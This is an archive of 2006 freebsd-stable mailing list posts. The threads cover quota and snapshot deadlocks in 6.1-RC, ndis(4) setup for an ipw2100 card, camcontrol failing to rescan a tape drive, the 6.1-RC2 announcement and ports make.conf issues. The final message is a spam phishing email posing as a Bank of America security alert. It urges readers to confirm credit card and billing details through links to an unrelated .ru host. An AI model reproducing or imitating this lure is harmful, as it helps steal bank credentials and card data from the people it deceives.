On Tue, May 02, 2006 at 09:44:29PM +0400, Dmitriy Kirhlarov wrote: Hi! On Tue, May 02, 2006 at 01:22:26PM -0400, Kris Kennaway wrote: I think it's same problem as in thread fsck_ufs locked in snaplk. Is this problem fixed in fresh 6.1-PRE? I think we've reproduced the problem, but it probably won't be fixed before the release. Sorry, the bug reports came too late in the release cycle. Imho, it's bad idea -- create release with so important bug. It's not coda, unionfs or something else. It's very useful. I think, postpone release for fix this issue -- more fine. The release cycle has been in progress for over 3 months, and based on our understanding of the problems there is little chance of a quick fix for this issue even if the decision was made to delay the release further. Let me point out something important, which ties in to Scott's recent email. On February 21 -- that is over 2 months ago -- I sent email to this list containing a fix for the quota deadlocks that were known at the time. I got minimal response from users, but it was uniformly positive. The fix was committed, and the status of the quota deadlocks item on the 6.1-RELEASE todo list was changed from must fix to believed fixed, please test. The next I heard about the problem was about a week ago when someone reported another deadlock and several others chimed in with oh yeah, it still deadlocks for me too. Well, sorry folks, you should have told me in February. Or if you only found out about the problem a week ago, you need to recognize that problems raised at the last minute cannot always be fixed instantly. The best we can do now is provide a patch when the fix is available, and with the agreement of the release engineers it may be possible to commit the fix to the errata/security branch at a later date. In the meantime, the best advice is to avoid snapshots on busy systems (with or without quotas, they both can deadlock). Kris pgppCFnbJg7Jy.pgp Description: PGP signature
Re: quota deadlock on 6.1-RC1
Dmitriy Kirhlarov wrote: Hi! On Tue, May 02, 2006 at 01:22:26PM -0400, Kris Kennaway wrote: I think it's same problem as in thread fsck_ufs locked in snaplk. Is this problem fixed in fresh 6.1-PRE? I think we've reproduced the problem, but it probably won't be fixed before the release. Sorry, the bug reports came too late in the release cycle. Imho, it's bad idea -- create release with so important bug. It's not coda, unionfs or something else. It's very useful. I think, postpone release for fix this issue -- more fine. Ditto, same thing with the recent nve fixes. Why release known broken code when there are tested patches available? Whats the worst that will happen? It wont work? Thats already the case... ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: quota deadlock on 6.1-RC1
On Tue, May 02, 2006 at 02:03:13PM -0400, Mike Jakubik wrote: Dmitriy Kirhlarov wrote: Hi! On Tue, May 02, 2006 at 01:22:26PM -0400, Kris Kennaway wrote: I think it's same problem as in thread fsck_ufs locked in snaplk. Is this problem fixed in fresh 6.1-PRE? I think we've reproduced the problem, but it probably won't be fixed before the release. Sorry, the bug reports came too late in the release cycle. Imho, it's bad idea -- create release with so important bug. It's not coda, unionfs or something else. It's very useful. I think, postpone release for fix this issue -- more fine. Ditto, same thing with the recent nve fixes. Why release known broken code when there are tested patches available? Whats the worst that will happen? It wont work? Thats already the case... What patches? If you're talking about the mpsafe quota patches, they don't address the deadlocks. Kris pgpjxK9pG9hNR.pgp Description: PGP signature
Re: quota deadlock on 6.1-RC1
Kris Kennaway wrote: On Tue, May 02, 2006 at 02:03:13PM -0400, Mike Jakubik wrote: Ditto, same thing with the recent nve fixes. Why release known broken code when there are tested patches available? Whats the worst that will happen? It wont work? Thats already the case... What patches? If you're talking about the mpsafe quota patches, they don't address the deadlocks. The fix to nve timeouts found on the amd64 list. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: quota deadlock on 6.1-RC1
Hi! On Tue, May 02, 2006 at 01:58:59PM -0400, Kris Kennaway wrote: Well, sorry folks, you should have told me in February. Or if you only found out about the problem a week ago, you need to recognize I find it several days ago, when start quota on this server. Another server with older RC1 work fine (but I don't use gstripe on this host). May be, some fresh commit broke your fix again and we haven't chances for find it in March? I'm very wondering, what quota feature used so rarely, as you say. By. Dmitriy ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: quota deadlock on 6.1-RC1
On Tue, May 02, 2006 at 02:08:44PM -0400, Mike Jakubik wrote: Kris Kennaway wrote: On Tue, May 02, 2006 at 02:03:13PM -0400, Mike Jakubik wrote: Ditto, same thing with the recent nve fixes. Why release known broken code when there are tested patches available? Whats the worst that will happen? It wont work? Thats already the case... What patches? If you're talking about the mpsafe quota patches, they don't address the deadlocks. The fix to nve timeouts found on the amd64 list. OK, I can't speak to that issue specifically. Generally, though, the worst that can happen is you fix one problem affecting a subset of users and replace it with a larger problem affecting a larger subset of users. If there's doubt about the impact of a change, 10 seconds before the release is not the appropriate time to cram it in. Kris pgpnIgfxvwWyn.pgp Description: PGP signature
Re: quota deadlock on 6.1-RC1
On Tue, May 02, 2006 at 10:16:28PM +0400, Dmitriy Kirhlarov wrote: Hi! On Tue, May 02, 2006 at 01:58:59PM -0400, Kris Kennaway wrote: Well, sorry folks, you should have told me in February. Or if you only found out about the problem a week ago, you need to recognize I find it several days ago, when start quota on this server. Another server with older RC1 work fine (but I don't use gstripe on this host). May be, some fresh commit broke your fix again and we haven't chances for find it in March? I'm very wondering, what quota feature used so rarely, as you say. AFAIK, the problems I am aware of are not regressions, they are problems that existed all along but no-one reported previously. I think they all involve snapshots (e.g. background fsck, dump -L), so avoiding those is the workaround I gave previously. Kris pgpsAUX42tOXO.pgp Description: PGP signature
Re: quota deadlock on 6.1-RC1
Quoting Kris Kennaway [EMAIL PROTECTED]: On February 21 -- that is over 2 months ago -- I sent email to this list containing a fix for the quota deadlocks that were known at the time. I got minimal response from users, but it was uniformly positive. The fix was committed, and the status of the quota deadlocks item on the 6.1-RELEASE todo list was changed from must fix to believed fixed, please test. The next I heard about the problem was about a week ago when someone reported another deadlock and several others chimed in with oh yeah, it still deadlocks for me too. Well, sorry folks, you should have told me in February. Or if you only found out about the problem a week ago, you need to recognize that problems raised at the last minute cannot always be fixed instantly. I was one of those others who said me too. :-) Although I subscribe to every FreeBSD mailing list, I usually just glance over all of the subject lines until something catches my eye. So, unfortunately, I apparently missed that whole bit and it wasn't until a particular subject caught my eye recently that I thought it might be addressing the same problem I had. I hadn't mentioned the problem to the lists before because I had zero diagnostic information about it and it was a production box that I couldn't fool around with too much, so I had found a workaround (daily reboot) a long time ago and didn't think much more about it. Although I recently compiled the kernel with various debug options (WITNESS, DDB, etc.), it takes days for it to recur (without daily reboots) and when it hanged again a couple of nights ago, I completely forgot about trying to break into the debugger and rebooted the box anyway. *slaps forehead* And of course it hasn't happened again, yet. Maybe next time. I'll be happy when we figure out what the problem is and find a fix for it, it doesn't matter to me whether or not it makes it into the 6.1 release. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
ipw2100 vs ndis(4) -- does it work for anybody?
Good day, since the ipw(4) driver can't do WPA, I wanted to give ndis(4) a try. This *used* to work back on 5.3 (memory is a bit vague) but it ain't happening on 6.1-RC. I'm using the same driver as last time, which is the version 1.2.2.8 from Intel. I also downloaded the newest one, version 1.2.4.35, but none of them attach, when loading the if_ndis module. /sys/modules/if_ndis# make clean /sys/modules/if_ndis# ndiscvt -i /compat/ndis/w70n51.inf -s /compat/ndis/w70n51.sys -o ndis_driver_data.h /sys/modules/if_ndis# make /sys/modules/if_ndis# make install load /sbin/kldload -v /vol/obj/usr/src/sys/modules/if_ndis/if_ndis.ko Loaded /vol/obj/usr/src/sys/modules/if_ndis/if_ndis.ko, id=32 pci2: network at device 3.0 (no driver attached) [EMAIL PROTECTED]:3:0: class=0x028000 card=0x25618086 chip=0x10438086 rev=0x04 hdr=0x00 vendor = 'Intel Corporation' device = 'Intel(R) PRO/Wireless 2100 LAN Card Driver' class= network I know this did work in the past. What are other peoples experiences? Besides, does ndis(4) even do WPA? If not then I would have to buy new hardware anyway and the whole exercise would be in vain. Ulrich Spoerlein -- PGP Key ID: 20FEE9DD Encrypted mail welcome! Fingerprint: AEC9 AF5E 01AC 4EE1 8F70 6CBD E76E 2227 20FE E9DD Which is worse: ignorance or apathy? Don't know. Don't care. pgp4S0AXQsbAv.pgp Description: PGP signature
Re: ipw2100 vs ndis(4) -- does it work for anybody?
On Tuesday 02 May 2006 13:18, Ulrich Spoerlein wrote: Good day, since the ipw(4) driver can't do WPA, I wanted to give ndis(4) a try. This *used* to work back on 5.3 (memory is a bit vague) but it ain't happening on 6.1-RC. I'm using the same driver as last time, which is the version 1.2.2.8 from Intel. I also downloaded the newest one, version 1.2.4.35, but none of them attach, when loading the if_ndis module. /sys/modules/if_ndis# make clean /sys/modules/if_ndis# ndiscvt -i /compat/ndis/w70n51.inf -s /compat/ndis/w70n51.sys -o ndis_driver_data.h /sys/modules/if_ndis# make /sys/modules/if_ndis# make install load /sbin/kldload -v /vol/obj/usr/src/sys/modules/if_ndis/if_ndis.ko Loaded /vol/obj/usr/src/sys/modules/if_ndis/if_ndis.ko, id=32 pci2: network at device 3.0 (no driver attached) [EMAIL PROTECTED]:3:0: class=0x028000 card=0x25618086 chip=0x10438086 rev=0x04 hdr=0x00 vendor = 'Intel Corporation' device = 'Intel(R) PRO/Wireless 2100 LAN Card Driver' class= network I know this did work in the past. What are other peoples experiences? Besides, does ndis(4) even do WPA? If not then I would have to buy new hardware anyway and the whole exercise would be in vain. Start by using ndisgen(8) instead of doing things the old way. JN ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: ipw2100 vs ndis(4) -- does it work for anybody?
On 5/2/06, Ulrich Spoerlein [EMAIL PROTECTED] wrote: Good day, since the ipw(4) driver can't do WPA, I wanted to give ndis(4) a try. This *used* to work back on 5.3 (memory is a bit vague) but it ain't happening on 6.1-RC. I'm using the same driver as last time, which is the version 1.2.2.8 from Intel. I also downloaded the newest one, version 1.2.4.35, but none of them attach, when loading the if_ndis module. /sys/modules/if_ndis# make clean /sys/modules/if_ndis# ndiscvt -i /compat/ndis/w70n51.inf -s /compat/ndis/w70n51.sys -o ndis_driver_data.h You need to use the ndisgen script to create the NDIS kernel module for your card. ndisgen /compat/ndis/w70n51.inf /compat/ndis/w70n51.sys then you use kldload to load the module: kldload w70n51_sys.ko Scot -- DISCLAIMER: No electrons were mamed while sending this message. Only slightly bruised. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: quota deadlock on 6.1-RC1
Mike Jakubik wrote: Dmitriy Kirhlarov wrote: Hi! On Tue, May 02, 2006 at 01:22:26PM -0400, Kris Kennaway wrote: I think it's same problem as in thread fsck_ufs locked in snaplk. Is this problem fixed in fresh 6.1-PRE? I think we've reproduced the problem, but it probably won't be fixed before the release. Sorry, the bug reports came too late in the release cycle. Imho, it's bad idea -- create release with so important bug. It's not coda, unionfs or something else. It's very useful. I think, postpone release for fix this issue -- more fine. Ditto, same thing with the recent nve fixes. Why release known broken code when there are tested patches available? Whats the worst that will happen? It wont work? Thats already the case... Please go back and re-read my email to this list from 14 hours ago. Scott ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: PCI Radeon 7000/VE (RV100) on AMD64
On 3/27/06, Alastair G. Hogge [EMAIL PROTECTED] wrote: G'day Having some problem with Xorg-6.9.0 and the radeon or ati driver on mad64 system. X seems to look up at a black screen after setting the resolution and then resets the computer. I have drm and radeon defined in my kernel config and I've also added the appropriate lines to xorg.conf This may or may not be relavent... but I have a triple-head setup using three Radeon cards; 1 agp based 8500LE and 2 pci based 7000/VE's. I've never had DRI / X working... The problem(s) you're having sounds like the problems I was having... Comment out 'Load dri' in xorg.conf and try it again. -- BSD Podcasts @: http://bsdtalk.blogspot.com/ http://freebsdforall.blogspot.com/ ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
FreeBSD 6.1-RC2 available
All, I'm foregoing the formal pretty announcement for 6.1-RC2 because the message needs to get out and I don't have an hour to spend on making it look nice. FreeBSD 6.1-RC2 is available for download. This is the last RC before the release. Please test it to make sure that there have been no regressions since the last RC, and to make sure that it there are no new problems with installation. Other than a few cosmetic tweaks, there will be no more changes before 6.1. The list of known issues: - Using UFS snapshots and quotas at the same time can cause system lockups. There is no work-around available at this time, so please avoid this configuration. This will be fixed in a future release. - Under rare and heavily loaded circumstances, there is a possibility to leak pty's. This can result in not being able to long into the system. The cause of this is not well understood, and it appears to be very difficult to trigger it. - DEVFS is known to have several problems with multiple processes doing directory listings at the same time, as well as with unmounting DEVFS directories at the same time. There is no known work-around for this at this time. This will be fixed in a future release. - A number of improvements and fixes for various drivers have come in at the last minute that still require much more testing and validation. This includes the 'if_nve' and 'if_bge' drivers in particular. These updates will be included in future releases. MD5 (6.1-RC1-amd64-bootonly.iso) = 93abe294e7678e00b7391f47a01074fe MD5 (6.1-RC1-amd64-disc1.iso) = c1b718b6752f0e48edb8b822ee9b0dc8 MD5 (6.1-RC1-amd64-disc2.iso) = 4a67ae8ed7a7852e08442205d6a5cd7c MD5 (6.1-RC1-i386-bootonly.iso) = b56aac9ca1a868daaf5673cd21bf78f5 MD5 (6.1-RC1-i386-disc1.iso) = 12521c3f9d40f637e4cdb40ea398d072 MD5 (6.1-RC1-i386-disc2.iso) = 53615f19889fe85c41e2bcea0b2be525 MD5 (6.1-RC2-ia64-bootonly.iso) = 481e6f1899c0ba632272e7853b8ef59e MD5 (6.1-RC2-ia64-disc1.iso) = f4601bb9089af1bcde5b751f5762f35a MD5 (6.1-RC2-ia64-disc2.iso) = b44d5a0538b784cbb5de0a8ec23e4256 MD5 (6.1-RC2-ia64-livefs.iso) = 0fe8b66a80edaa50ac353d5471930035 MD5 (6.1-RC2-pc98-disc1.iso) = 773a64a475596d586d0a1573d88310cc SHA256 (6.1-RC1-amd64-bootonly.iso) = 88e072b4898692813517aa254a33f1e7469de0e590c36bfb3e92cb120ac0ad16 SHA256 (6.1-RC1-amd64-disc1.iso) = 017e69c5461fe2c865a395830dde88c8a55e7ec83d9a195b3b619346b44f9cc6 SHA256 (6.1-RC1-amd64-disc2.iso) = 81624f3b8dfa67ceab1dc6ec0a94c4485ad85955321c39d13c9ab4a678f776ef SHA256 (6.1-RC1-i386-bootonly.iso) = ec1a3fbf53186b5bc44dbfcdc77872c847f3c55532bb62f2afb4133328e7994f SHA256 (6.1-RC1-i386-disc1.iso) = e0b83f2cbd27db20f330036d0a25b8366b9e45df4b9c09354f76e584a9eb3b83 SHA256 (6.1-RC1-i386-disc2.iso) = de1fe5009229efd44b25bb18c4e68b03027259171cd9e017fe5bffadaa3402bb SHA256 (6.1-RC2-ia64-bootonly.iso) = c044989257754fa17daa352f76c3e011dfc04b3b242c2153c7a1ec47a773d4d1 SHA256 (6.1-RC2-ia64-disc1.iso) = 60bec7c25b8f645a9d20d3240397c7a92f42d24ff5d01b4604ece5f9ee499ccc SHA256 (6.1-RC2-ia64-disc2.iso) = 854048d4ba4dcf00657501d36a5fb15a94ed4c20e646031960ebc3315c3a513e SHA256 (6.1-RC2-ia64-livefs.iso) = fb3fadb00c9ddb6233172a34a7d47ab80171b54410835954c20f50849359ee73 SHA256 (6.1-RC2-pc98-disc1.iso) = f2b5f17a3355465727613e33807964a0cf92d9c02868cd2c25440995b2c6ebfd ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: ipw2100 vs ndis(4) -- does it work for anybody?
ndisgen is broken on 6.1 RC1 if I remember correctly. On 5/2/06, Scot Hetzel [EMAIL PROTECTED] wrote: On 5/2/06, Ulrich Spoerlein [EMAIL PROTECTED] wrote: Good day, since the ipw(4) driver can't do WPA, I wanted to give ndis(4) a try. This *used* to work back on 5.3 (memory is a bit vague) but it ain't happening on 6.1-RC. I'm using the same driver as last time, which is the version 1.2.2.8 from Intel. I also downloaded the newest one, version 1.2.4.35, but none of them attach, when loading the if_ndis module. /sys/modules/if_ndis# make clean /sys/modules/if_ndis# ndiscvt -i /compat/ndis/w70n51.inf -s /compat/ndis/w70n51.sys -o ndis_driver_data.h You need to use the ndisgen script to create the NDIS kernel module for your card. ndisgen /compat/ndis/w70n51.inf /compat/ndis/w70n51.sys then you use kldload to load the module: kldload w70n51_sys.ko Scot -- DISCLAIMER: No electrons were mamed while sending this message. Only slightly bruised. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED] -- Sean Bryant ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 'camcontrol rescan all' does not find the attached tape drive
This is a problem with the RAID controller that you've hooked the tape drive to, it has nothing to do with FreeBSD. If this is a configuration that you much use, and there is absolutely no way that you can find a simple SCSI controller to hook the tape drive up to, then you'll need to investigate how to use the ASR management tools to do a manual rescan before running camcontrol. Scott Adam wrote: Hello list. Using camcontrol, I cannot get freebsd 6.1-RC1 to recognize an attached tape drive. Is this normal? If the machine boots with the tape drive turned off, I cannot get the tape drive to be recognized after I turn the tape drive on. # camcontrol rescan 1 Re-scan of bus 1 was successful # camcontrol rescan all Re-scan of bus 0 was successful Re-scan of bus 1 was successful # camcontrol devlist -v scbus0 on asr0 bus 0: ADAPTEC RAID-5 3B0A at scbus0 target 0 lun 0 (da0,pass0) SUPER GEM318 0 at scbus0 target 6 lun 0 (ses0,pass1) at scbus0 target -1 lun -1 () scbus1 on asr0 bus 1: at scbus1 target -1 lun -1 () scbus-1 on xpt0 bus 0: at scbus-1 target -1 lun -1 (xpt0) If the machine boots up while the tape drive is attached and powered up, the tape drive is recognized. # camcontrol devlist ADAPTEC RAID-5 3B0A at scbus0 target 0 lun 0 (da0,pass0) SUPER GEM318 0 at scbus0 target 6 lun 0 (ses0,pass1) HP Ultrium 2-SCSI S24D at scbus1 target 6 lun 0 (sa0,pass2) Here are some more details about my setup. machine: - supermicro super server 6013P-8 with zero channel raid controller - SMP hardware, UP kernel with ASR_COMPAT - FreeBSD name 6.1-RC FreeBSD 6.1-RC #1: Fri Apr 21 16:09:23 MDT 2006 - Adaptec AIC-7902 Dual-Channel Ultra-320 Controller - Adaptec 2015S ZCR Card relevant dmesg data: asr0: Adaptec Caching SCSI RAID mem 0xf830-0xf83f,0xfb00-0xfbff,0xfc00-0xfdff irq 30 at device 3.0 on pci3 asr0: [GIANT-LOCKED] asr0: ADAPTEC 2015S FW Rev. 3B0A, 2 channel, 256 CCBs, Protocol I2O sa0 at asr0 bus 1 target 6 lun 0 sa0: HP Ultrium 2-SCSI S24D Removable Sequential Access SCSI-3 device ses0 at asr0 bus 0 target 6 lun 0 ses0: SUPER GEM318 0 Fixed Processor SCSI-2 device ses0: SAF-TE Compliant Device da0 at asr0 bus 0 target 0 lun 0 da0: ADAPTEC RAID-5 3B0A Fixed Direct Access SCSI-2 device da0: Tagged Queueing Enabled da0: 70006MB (143372288 512 byte sectors: 255H 63S/T 8924C) When I power down and disconnect the tape drive /var/log/messages receives the following. Apr 26 13:57:20 name kernel: (sa0:asr0:1:0:0): lost device Apr 26 13:57:20 name kernel: (sa0:asr0:1:0:0): removing device entry So I reboot, and try a different disconnect method. # camcontrol stop sa0 Unit stopped successfully # camcontrol devlist ADAPTEC RAID-5 3B0A at scbus0 target 0 lun 0 (da0,pass0) SUPER GEM318 0 at scbus0 target 6 lun 0 (ses0,pass1) HP Ultrium 2-SCSI S24D at scbus1 target 6 lun 0 (sa0,pass2) Then I power off the tape unit and attach a new unit (attach scsi cable, power cable, then power on the unit). # camcontrol tur sa0 -E -C 4 -v error sending test unit ready: Device not configured (pass2:asr0:1:6:0): TEST UNIT READY. CDB: 0 0 0 0 0 0 (pass2:asr0:1:6:0): CAM Status: CCB request is in progress /var/log/messages got the following 2 lines as soon as I launched camcontrol: Apr 26 15:32:27 name kernel: (sa0:asr0:1:6:0): lost device Apr 26 15:32:27 name kernel: (sa0:asr0:1:6:0): removing device entry # camcontrol rescan pass2 Re-scan of bus 0 was successful This is a problem as the tape drive (pass2) was on bus 1. Granted, pass2 was pointing to sa0:asr0:1:6:0 and the device that is now attached is connected via asr0:1:0:0. adamu010# camcontrol rescan all Re-scan of bus 0 was successful Re-scan of bus 1 was successful # camcontrol devlist ADAPTEC RAID-5 3B0A at scbus0 target 0 lun 0 (da0,pass0) SUPER GEM318 0 at scbus0 target 6 lun 0 (ses0,pass1) # camcontrol rescan 1:0:0 Re-scan of 1:0:0 was successful # camcontrol devlist ADAPTEC RAID-5 3B0A at scbus0 target 0 lun 0 (da0,pass0) SUPER GEM318 0 at scbus0 target 6 lun 0 (ses0,pass1) # camcontrol reset 1 Reset of bus 1 was successful # camcontrol rescan 1 Re-scan of bus 1 was successful # camcontrol devlist 1 ADAPTEC RAID-5 3B0A at scbus0 target 0 lun 0 (da0,pass0) SUPER GEM318 0 at scbus0 target 6 lun 0 (ses0,pass1) The drive documentation states that the drive's auto-termination is only in effect when the drive is powered on. Does that mean I have an unterminated bus when the tape drive is off? Perhaps the aic7902 auto-terminates scbus1? How does termination influence what camcontrol sees? The tape drive is not detected without a reboot. Despite the fine man page for camcontrol and several examples provided by google of other users
Re: Which RC?
Pietro Cerutti wrote: just updated my RELENG_6 as Tue May 2 08:25:55 CEST 2006 There are some things that are not clear about the version: - uname says FreeBSD 6.1-RC #0 - on the FreeBSD FTP site the RC directory is now RC2 (pub/FreeBSD/releases/i386/6.1-RC2) - on the FreeBSD web site the schedule for 6.1 says that actually 6.1-RC1 has been released How do I know which RC I'm currently running? You can sync your /usr/src with the time of RC2's release by extracting and build that specific version from CVS, but you'll want to track subsequent patches as well, right? RELENG_6 just builds with a -RC tag for now due to the version bump. It will revert to -STABLE once the -RELEASE is out, but built and installed from source you don't get the -RELEASE or -RCnumber tag unless you actually build a release (a la: cd /usr/src/release; make release BUILDNAME=? RELEASE=? CVSROOT=?), specify that as a tag and then do a binary upgrade. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 'Max recursion level (500) exceeded' error
At Mon, 1 May 2006 13:53:38 -0400, Kris Kennaway wrote: On Mon, May 01, 2006 at 06:31:41PM +0800, plasma wrote: On Mon, May 01, 2006 at 04:50:29PM +0900, Hajimu UMEMOTO wrote: On Mon, 1 May 2006 17:14:06 +0930 Daniel O'Connor [EMAIL PROTECTED] said: doconnor On Monday 01 May 2006 17:02, plasma wrote: I recently upgraded my emacs from editors/emacs to editors/emacs-devel, and put the following line in /etc/make.conf: EMACS_PORT_NAME= emacs22 After that, the 'Max recursion level (500) exceeded.' error happened on every port I installed or upgraded. If I commented that line out, then everything's fine. Shouldn't I put that line in make.conf? Or there's a bug in port's makefile? doconnor The former - that parameter is only for a port to set I think. Yes, there is a PR to address this problem: http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/95238 Thanks for quick response. Then I think setting the variable for emacs-related ports in my pkgtools.conf is the only way to go. :) Or apply the patch. Kris, may I commit the patch and close my PR (ports/95238) ? It has been in the portmgr team's PR queue for a month. :-) -- MANTANI Nobutaka [EMAIL PROTECTED], [EMAIL PROTECTED] ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 'Max recursion level (500) exceeded' error
On Wed, May 03, 2006 at 10:54:38AM +0900, MANTANI Nobutaka wrote: At Mon, 1 May 2006 13:53:38 -0400, Kris Kennaway wrote: On Mon, May 01, 2006 at 06:31:41PM +0800, plasma wrote: On Mon, May 01, 2006 at 04:50:29PM +0900, Hajimu UMEMOTO wrote: On Mon, 1 May 2006 17:14:06 +0930 Daniel O'Connor [EMAIL PROTECTED] said: doconnor On Monday 01 May 2006 17:02, plasma wrote: I recently upgraded my emacs from editors/emacs to editors/emacs-devel, and put the following line in /etc/make.conf: EMACS_PORT_NAME= emacs22 After that, the 'Max recursion level (500) exceeded.' error happened on every port I installed or upgraded. If I commented that line out, then everything's fine. Shouldn't I put that line in make.conf? Or there's a bug in port's makefile? doconnor The former - that parameter is only for a port to set I think. Yes, there is a PR to address this problem: http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/95238 Thanks for quick response. Then I think setting the variable for emacs-related ports in my pkgtools.conf is the only way to go. :) Or apply the patch. Kris, may I commit the patch and close my PR (ports/95238) ? It has been in the portmgr team's PR queue for a month. :-) No, it needs to be fully tested first. It's scheduled for the next test build. Kris pgp1brrrPIul6.pgp Description: PGP signature
RC2 binary upgrade: var/empty: no chmod allowed
Hello everyone, When BETA4 was released, I installed it on a very old machine of mine, and tried doing a binary upgrade from 6.0-RELEASE to 6.1-BETA4. I got an error almost immediately that it failed to write because it couldn't chmod var/empty (due to the schg flag being set). I also had other problems which in retrospect were likely pilot error. Around that time, a bunch of other stuff came up and I let the matter drop. I just binary upgraded my 6.1-BETA4 installation to 6.1-RC2 and ran into the same thing. I was able to work around it by using the holographic shell to chflags /var/empty so that the installer could write to it, which it does when I retry the install. BTW - I am doing a custom distribution set including base, doc, games, info, man, and the GENERIC kernel. Everything else I install from either a local cvsup mirror or a package build machine. Has anyone else seen this? I can't rule out pilot error here. Thanks, Marty ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Bank of America Alert: Update your account information
[mhd_reg_logo.gif] Security Update Notification Dear Valued Customer : As part of our security measures, we regularly screen activity in the Bank of America Online Bank system. We recently contacted you after noticing an issue on your account.We requested information from you for the following reason: Our system requires further account verification To restore your account, please [1]click here. Your account might be place on restricted status. Restricted accounts continue to receive payments, but they are limited in their ability to send or withdraw funds. To lift up this restriction, you need to login into your account (with your username or SSN and your password), then you have to complete our verification process. You must confirm your credit card details and your billing information as well. All restricted accounts have their billing information unconfirmed, meaning that you may no longer send money from your account until you have reactive your billing information on file. [2]Sign in to Online Banking Thank You. _ Because your reply will not be transmitted via secure e-mail, the e-mail address that generated this alert will not accept replies. If you would like to contact Bank of America with questions or comments, please [3]sign in to Online Banking and visit the customer service section. Bank of America, N.A. Member FDIC. Equal Housing Lender Equal Housing Lender ©2005 Bank of America Corporation. All rights reserved. [4]Bank of America Higher Standards [5][foot_olympic.gif] References 1. http://pristavkin.ru/systeb/bankofamerica/update%20BOA/bankofamerica/bankofamerica/online_bofa_banking/e-online-banking/ 2. http://pristavkin.ru/systeb/bankofamerica/update%20BOA/bankofamerica/bankofamerica/online_bofa_banking/e-online-banking/ 3. http://pristavkin.ru/systeb/bankofamerica/update%20BOA/bankofamerica/bankofamerica/online_bofa_banking/e-online-banking/ 4. http://www.bankofamerica.com/ 5. file://localhost/tmp/Drag%20to%20a%20file%20to%20make%20a%20link. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
